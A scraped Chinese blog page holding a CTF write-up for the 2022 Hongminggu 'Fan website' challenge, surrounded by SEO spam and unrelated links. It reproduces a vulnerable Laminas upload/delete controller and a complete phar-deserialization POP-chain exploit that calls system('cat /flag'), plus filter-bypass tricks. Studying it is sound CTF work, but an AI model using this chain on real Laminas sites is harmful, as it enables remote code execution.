当前位置: 首页 > news >正文

怎样做网站备份搜狗网站收录入口

怎样做网站备份,搜狗网站收录入口,余姚做网站公司,万户网络是干嘛的红明谷2022 web Fan website 文章目录红明谷2022 web Fan website源码泄露phar反序列化参考链接源码泄露 www.zip,查看路由 在composer.json中查看版本号,是2.11,存在已知的链子 这个框架的路由一般在/module/Application/config/module.co…

红明谷2022 web Fan website

文章目录

  • 红明谷2022 web Fan website
    • 源码泄露
    • phar反序列化
    • 参考链接

源码泄露

www.zip,查看路由

在composer.json中查看版本号,是2.11,存在已知的链子

在这里插入图片描述

这个框架的路由一般在/module/Application/config/module.config.php

在这里插入图片描述

在本题目中,/module目录下有两个文件夹,一个是Application,一个是Album

查看/module/src/Controller/AlbumController.php

<?php
namespace Album\Controller;use Album\Model\AlbumTable;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
use Album\Form\AlbumForm;
use Album\Form\UploadForm;
use Album\Model\Album;class AlbumController extends AbstractActionController
{// Add this property:private $table;private $white_list;public function __construct(AlbumTable $table){$this->table = $table;//白名单设置$this->white_list = array('.jpg','.jpeg','.png');}//默认主页public function indexAction(){return new ViewModel(['albums' => $this->table->fetchAll(),]);}//添加信息public function addAction(){$form = new AlbumForm();$form->get('submit')->setValue('Add');$request = $this->getRequest();if (! $request->isPost()) {return ['form' => $form];}$album = new Album();$form->setInputFilter($album->getInputFilter());$form->setData($request->getPost());if (! $form->isValid()) {return ['form' => $form];}$album->exchangeArray($form->getData());$this->table->saveAlbum($album);return $this->redirect()->toRoute('album');}//修改信息public function editAction(){$id = (int) $this->params()->fromRoute('id', 0);if (0 === $id) {return $this->redirect()->toRoute('album', ['action' => 'add']);}// Retrieve the album with the specified id. Doing so raises// an exception if the album is not found, which should result// in redirecting to the landing page.try {$album = $this->table->getAlbum($id);} catch (\Exception $e) {return $this->redirect()->toRoute('album', ['action' => 'index']);}$form = new AlbumForm();$form->bind($album);$form->get('submit')->setAttribute('value', 'Edit');$request = $this->getRequest();$viewData = ['id' => $id, 'form' => $form];if (! $request->isPost()) {return $viewData;}$form->setInputFilter($album->getInputFilter());$form->setData($request->getPost());if (! $form->isValid()) {return $viewData;}$this->table->saveAlbum($album);// Redirect to album listreturn $this->redirect()->toRoute('album', ['action' => 'index']);}//删除信息public function deleteAction(){$id = (int) $this->params()->fromRoute('id', 0);if (!$id) {return $this->redirect()->toRoute('album');}$request = $this->getRequest();if ($request->isPost()) {$del = $request->getPost('del', 'No');if ($del == 'Yes') {$id = (int) $request->getPost('id');$this->table->deleteAlbum($id);}// Redirect to list of albumsreturn $this->redirect()->toRoute('album');}return ['id'    => $id,'album' => $this->table->getAlbum($id),];}public function imgdeleteAction(){$request = $this->getRequest();if(isset($request->getPost()['imgpath'])){$imgpath = $request->getPost()['imgpath'];$base = substr($imgpath,-4,4);if(in_array($base,$this->white_list)){     //白名单//反序列化触发点@unlink($imgpath);}else{echo 'Only Img File Can Be Deleted!';}}}//图片上传public function imguploadAction(){$form = new UploadForm('upload-form');$request = $this->getRequest();if ($request->isPost()) {// Make certain to merge the $_FILES info!$post = array_merge_recursive($request->getPost()->toArray(),$request->getFiles()->toArray());$form->setData($post);if ($form->isValid()) {$data = $form->getData();$base = substr($data["image-file"]["name"],-4,4);if(in_array($base,$this->white_list)){   //白名单限制$cont = file_get_contents($data["image-file"]["tmp_name"]);//对上传的文件的内容进行限制if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {die("Not This");}//图片有大小要求if($data["image-file"]["size"]<3000){die("The picture size must be more than 3kb");}//图片存放的路径$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;//将路径回显echo $img_path;$form->saveImg($data["image-file"]["tmp_name"],$img_path);}else{echo 'Only Img Can Be Uploaded!';}// Form is valid, save the form!//return $this->redirect()->toRoute('upload-form/success');}}return ['form' => $form];}}

不同的方法对应不同的路由,相应的路由对应相应的功能

进行phar反序列化,注意上传的文件有大小限制,需要在生成phar文件的时候塞入垃圾信息,让文件大小>3KB
在这里插入图片描述

phar反序列化

exp

<?phpnamespace Laminas\View\Resolver{class TemplateMapResolver{protected $map = ["setBody"=>"system"];}
}
namespace Laminas\View\Renderer{class PhpRenderer{private $__helpers;function __construct(){$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();}}
}namespace Laminas\Log\Writer{abstract class AbstractWriter{}class Mail extends AbstractWriter{protected $eventsToMail = ["cat /flag"];protected $subjectPrependText = null;protected $mail;function __construct(){$this->mail = new \Laminas\View\Renderer\PhpRenderer();}}
}namespace Laminas\Log{class Logger{protected $writers;function __construct(){$this->writers = [new \Laminas\Log\Writer\Mail()];}}
}namespace{$a = new \Laminas\Log\Logger();//echo base64_encode(serialize($a));@unlink('test.phar');$phar=new Phar('test.phar');$phar->startBuffering();//设置头部$phar->setStub('<?php __HALT_COMPILER(); ?>');//将自定义的meta-data存入manifest$phar->setMetadata($a);$phar->addFromString("test.txt",file_get_contents("test.txt"));//$phar->addFromString("test.txt","test");//签名自动计算$phar->stopBuffering();
}
gzip test.phar

然后修改文件后缀为png
上传成功后,回显上传的位置

在这里插入图片描述

/var/www/public/img/364be8860e8d72b4358b5e88099a935a.png

然后在delete路由里,触发phar反序列化,得flag

参考链接

  1. Zend FrameWork Pop Chain - 先知社区 (aliyun.com)
http://www.lbrq.cn/news/2377459.html

相关文章:

  • 建网站的程序营销推广与策划
  • 深圳商城网站哪家做的好快速排名工具免费
  • 深圳政府采购中心官网四川整站优化关键词排名
  • 学做衣服上什么网站好推广下载app赚钱
  • 网推团队淘宝seo推广优化
  • 做网站设计所遇到的问题seo推广软件费用
  • 物流网站建设可行性报告营销培训讲师
  • 在中国怎么做国外网站百度云客服人工电话
  • 邢台市网站制作推广游戏怎么拉人最快
  • 海尔建设此网站的目的是什么意思百度业务推广
  • 松江做网站需要多少钱服装品牌策划方案
  • 安居客看房网北京seo编辑
  • 公司网站成本域名污染查询网站
  • 网站建设学院谷歌seo实战教程
  • 公司起名字查询网南京seo优化公司
  • 网站内套网站代码网络推广与网络营销的区别
  • 西乡做网站多少钱推广链接点击器app
  • 昆明做网站建设的公司哪家好裤子seo标题优化关键词
  • 预售网站开发郑州网站策划
  • 手机网站开发兼容性怎么注册自己的网址
  • 如何做网站支付链接武汉做seo公司
  • vue做的网站有什么百度加盟
  • 小叮当网站建设网络搭建教程
  • 网页制作下载安装包无锡seo公司哪家好
  • 柳江网站建设网址导航下载到桌面
  • 免费html网页模板网站太原百度快速优化
  • 什么博客可以做网站公司调查公司
  • 网站设计师培训中心关键词百度指数查询
  • php网站后台建设网站维护需要学什么
  • 湖北建设委员会网站外链推广软件
  • [论文阅读] 人工智能 + 软件工程 | 单会话方法论:一种以人类为中心的人工智能辅助软件开发协议
  • 异世界历险之数据结构世界(排序(插入,希尔,堆排))
  • Ansible AWX 自动化运维
  • Linux C 进程基本操作
  • Java学习--JVM(2)
  • 【Linux手册】缓冲区:深入浅出,从核心概念到实现逻辑